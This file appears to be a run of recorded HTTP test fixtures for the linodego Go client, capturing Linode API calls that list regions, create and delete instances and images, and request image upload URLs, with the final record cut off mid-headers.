"status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 19}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-pj9yl6ja3466","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 48318118, "label": "go-test-ins-pj9yl6ja3466", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.220.123"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "f2ba68fc09abb37647b40361d72acf2f8ad6cfb6"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "718" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/48318118/disks method: GET response: body: '{"data": [{"id": 96193446, "status": "not ready", "label": "Debian 9 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 25088}, {"id": 96193447, "status": "not ready", "label": "512 MB Swap Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "swap", "size": 512}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "393" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"disk_id":96193446,"label":"linodego-test-cloud-init","cloud_init":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images method: POST response: body: '{"id": "private/21112146", "label": "linodego-test-cloud-init", "description": "", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 25088, "created_by": "lgarber-dev", "type": "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "creating", "capabilities": ["cloud-init"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "352" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write,linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F21112146 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/48318118 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestImage_CreateUpload.yaml000066400000000000000000000372611455402072200317620ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 19}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","label":"linodego-image-create-upload","description":"An image that does stuff.","cloud_init":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/upload method: POST response: body: '{"upload_to": "https://us-iad-1.linodeobjects.com:443/linode-production-machine-images-uploads/21112145?Signature=FA2n9yO2%2FXWQa1SrF8WADuYsrZM%3D&Expires=1691078230&AWSAccessKeyID=SANITIZED", "image": {"id": "private/21112145", "label": "linodego-image-create-upload", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "lgarber-dev", "type": "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "pending_upload", "capabilities": ["cloud-init"]}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "597" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F21112145 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestImage_GetFound.yaml000066400000000000000000000035221455402072200311160ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/linode%2Fubuntu16.04lts method: GET response: body: '{"id": "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "352" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestImage_GetMissing.yaml000066400000000000000000000021001455402072200314430ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/does-not-exist method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestImage_Upload.yaml000066400000000000000000000220731455402072200306310ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"region":"us-ord","label":"linodego-image-test","description":"An image that does stuff."}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/upload method: POST response: body: '{"upload_to": "https://us-ord-1.linodeobjects.com:443/linode-production-machine-images-uploads/22961819?Signature=GRF9N7TR3tEl1JPipZFOT%2FKQd9g%3D&Expires=1702420468&AWSAccessKeyID=SANITIZED", "image": {"id": "private/22961819", "label": "linodego-image-test", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "youjungk01", "type": "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "pending_upload", "capabilities": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "575" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 11 Dec 2023 22:34:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 